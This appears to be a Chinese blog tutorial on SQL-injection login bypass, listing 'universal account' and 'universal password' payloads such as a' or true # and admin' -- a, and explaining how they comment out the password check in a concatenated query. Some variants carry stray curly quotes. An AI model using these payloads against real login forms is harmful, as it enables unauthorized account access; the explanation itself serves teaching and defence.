首页 > 数据库 >SQL注入之万能密码

SQL注入之万能密码

时间:2024-12-07 19:10:47浏览次数:3  
标签:账号 -- 万能 密码 SQL true

一、什么是万能账号密码

我们平时登录账号时,如果是第一次登录,系统会提示我们注册账号,并将我们注册的账号和密码保存到数据库中。当我们再次登录时,系统会将我们输入的账号和密码和数据库中的数据进行匹配,匹配成功能登录。这就意味着我们需要知道一个已经注册过并且正确的账号和密码才能进行登录,那如果我不小心忘记了我的账号或者密码,或者我压根就不知道账号和密码,还有没有办法登录呢?答案是肯定的,那就是 【万能账号密码】

万能账号密码是指 【万能账号】和 【万能密码】,顾名思义,就是可以 【登录任意网站】的账号和密码

1、万能账号

当我们不知道用户的账号并且不知道用户的密码时,可以使用万能账号。

万能账号并不是一个真正意义上的账号,它是一种【拥有不同变体的格式】

需要注意的是,以下所有万能账号中的 a 可以是自定义的数字或字母,比如 1,2,3,b,c,d

【数值型万能账号】

a or true #

a or 1 #

a or 1=1 #

a or true -- a

a or 1 -- a

a or 1=1 -- a

【单引号字符型万能密码】

a' or true #

a' or 1 #

a' or 1=1 #

a' or true --a

a' or 1 -- a

a' or 1=1 -- a

【双引号字符型万能密码】

a" or true #

a" or 1 #

a" or 1=1 #

a" or true -- a

a" or 1 -- a

a" or 1=1 -- a

1.1 万能账号的使用

账号输入 【万能账号】, 比如 a or true #

密码随便输入,比如 123456

2、万能密码

当我们知道用户的账号,但不知道用户的密码时,可以使用万能密码

万能密码并不是一个真正意义上的密码,而是一个【拥有不同变体的格式】

需要注意的是:万能密码中的 admin,必须是真实的用户名

【数值型万能密码】

admin #

admin -- a

【单引号字符串型万能密码】

admin' #

admin' -- a

【双引号字符串型万能密码】

admin” #

admin" -- a

2.1 万能密码的使用

用户名输入 【万能密码】,比如 admin’ #

密码随便输入,比如 123456

二、万能账号密码原理剖析

一个网络安全意识淡薄的网站,其登录功能的SQL语句大概是下面这个样子

select * from user where username='user' and password='pass'

1、万能账号原理

当我们在登录界面输入 【万能账号】比如 a’ or true # 以后,后端会将我们输入的参数拼接到SQL中,然后去数据库中查询账号和密码,SQL语句大概是下面这样

select * from user where username='a' or true #' and password='pass'

由于 # 在SQL中是注释符,注释符后面的内容不起作用,所以真正执行的SQL语句大概是下面这样

select * from user where username='a' or true

or true 会使SQL语句恒成立,从而查询出数据库中的所有账号和密码,从而使我们成功登录

1.1 注释符

除了 # 以外, -- 也是SQL中的注释符,但SQL的语法格式规定--和后面的注释内容必须间隔一个空格,所以这需要使用 a' or 1 -- a 而不是 a' or 1 -- 其原理和 a’ or 1 # 大同小异,拼接到SQL中大概是下面这样

select * from user where username='a' or true -- a' and password='pass'

注释后面的内容不生效,真正执行的SQL大概是下面这样

select * from user where username='a' or true

SQL语句恒成立,从而登录成功

换句话来说,a' or true -- a经过SQL的转化后,结果等价于 a’ or true #

1.2 比较运算符

SQL中规定,非布尔类型的数据参与比较运算时,会转化为布尔类型再参与运算。比如 or 1 或者 or 1=1 ,会转化为布尔类型的 true 再参与 or 的比较运算,也就是变成 or true ,同样能使条件恒成立,从而登录成功

简单来讲就是:a' or 1 # 或者 a' or 1=1 # 等价于 a' or true #

2、万能密码原理

当我们在登录界面输入 【万能密码】 比如 admin’ # 以后,后端会将我们输入的参数拼接到SQL中,大概是下面这样

select * from user where username='admin' #' and password='pass'

由于 # 在SQL中是注释符,注释符后面的内容不起作用,所以真正执行的SQL大概是下面这样

select * from user where username='admin'

SQL只会在数据库中查询用户名,而不是同时查询用户名和密码,这就意味着,只要用户名正确,就可以登录成功

2.1 注释符

除了 # ,-- 在SQL中也是注释符,SQL的语法格式规定 --后面必须使用空格来间隔后面的注释内容,所以需要将 --写作 -- a,后面的 a 可以是任意数字或者字母

简单来件就是 admin’ – a 等价于 admin‘ #

标签:账号,--,万能,密码,SQL,true
From: https://www.cnblogs.com/start1/p/18592558

相关文章

  • 【mybatis】动态SQL
    目录一、动态SQL的简述二、动态sql的使用1.标签---(注意:username和sex必须一个为空)2.--标签3.、标签--用来组装update语句4.、和标签5.标签①、用trim改写上面第二点的if+where语句 ②、用trim改写上面第三点的if+set 语句6.标签①:批量删除 ②......
  • CMU_15445_P3_SQL表达式
    Project3中主要讲述的是SQL语言的QueryExecutor过程,实际步骤中包含QueryOptimization的过程,下图是一个Query在数据库中Execute的整体流程.我们可以看到在步骤4,5,6中SQL语言都是以LogicalPlan的形式表示的,在代码实现中,而Logical_Plan还需要依赖表达式作......
  • sql语句中限制一定数量行的实现
    在不同的数据库中,限制查询结果行数的实现方法各不相同。本文将介绍几种常见数据库的实现方式。1.SQLServer或Access在SQLServer或Access中,可以使用TOP关键字来限制返回的行数。示例如下:selectTOP5prod_namefromProducts这将返回Products表中的前5行数据。2......
  • SEEDLab —— SQL 注入攻击实验
    【软件安全】实验3SQL注入攻击实验目录【软件安全】实验3SQL注入攻击实验环境设置修改映射构建并启动dockerTask1:熟悉SQL语句进入容器shell并使用mysql客户端与数据库进行交互加载数据库并打印数据库中的所有表使用命令打印员工Alice的所有资料信息Task2:基于SELECT语......
  • 解析JDBC使用查询MySQL【非流式、流式、游标】
    解析JDBC使用游标查询MySQL使用jdbc查询MySQL数据库,如果使用游标或者流式查询的话,则可以有效解决OOM的问题,否则MySQL驱动就会把数据集全部查询出来加载到内存里面,这样在大数据的情况下会OOM的不同的查询方式ResultsetRows的实现是不一样的!!!流式查询【每次只取一条】流式查......
  • MySQL语句学习第三篇_数据库
    MySQL语句学习第三篇_数据库专栏记录MySQL的学习,感谢大家观看。本章的专栏......
  • mssql靶场-手工注入(第一关)
    Mssql数据库相⽐mysql数据库本质上的框架是差不多的,使⽤的增,删,改,查命令是互相通的,但是Mysql中使⽤的函数在mssql中有些会起不到作⽤点。SQLSERVER--->MSSQL--14331.MSSQL中⾃带数据库信息2.MSSQL系统视图表(MSSQL数据库与MYSQL数据库⼀样,⾃带数据表sysobjects和sysco......
  • 如何高效整合吉客云销售数据到MySQL数据库
    如何高效整合吉客云销售数据到MySQL数据库销售单吉客云·奇门数据集成到MySQL的技术案例分享在现代企业的数据管理中,如何高效、可靠地将销售单数据从吉客云·奇门平台集成到MySQL数据库,是一个关键的技术挑战。本文将详细探讨这一过程中的技术要点和解决方案。本次集成方案......
  • Java项目:小徐影城管理系统(java+SpringBoot+Mybaits+Vue+elementui+mysql)
    源码获取:俺的博客首页"资源"里下载! 项目介绍Springboot+vue小徐影城管理系统环境需要1.运行环境:最好是javajdk1.8,我们在这个平台上运行的。其他版本理论上也可以。2.IDE环境:IDEA,Eclipse,Myeclipse都可以。推荐IDEA;3.硬件环境:windows7/8/101G内存以上;或者MacO......
  • MYSQL对自动新增AUTO_INCREMENT的值进行修改
    本文解释如何对AUTO_INCREMENT的值进行修改操作。对AUTO_INCREMENT的值进行修改修改方式如下:1.如果AUTO_INCREMENT的值大于数据库的最大值的时候,可以在这个范围内取任何一个值修改为更大的值。mysql>showcreatetabletianyiyun;+-----------+-------------------------......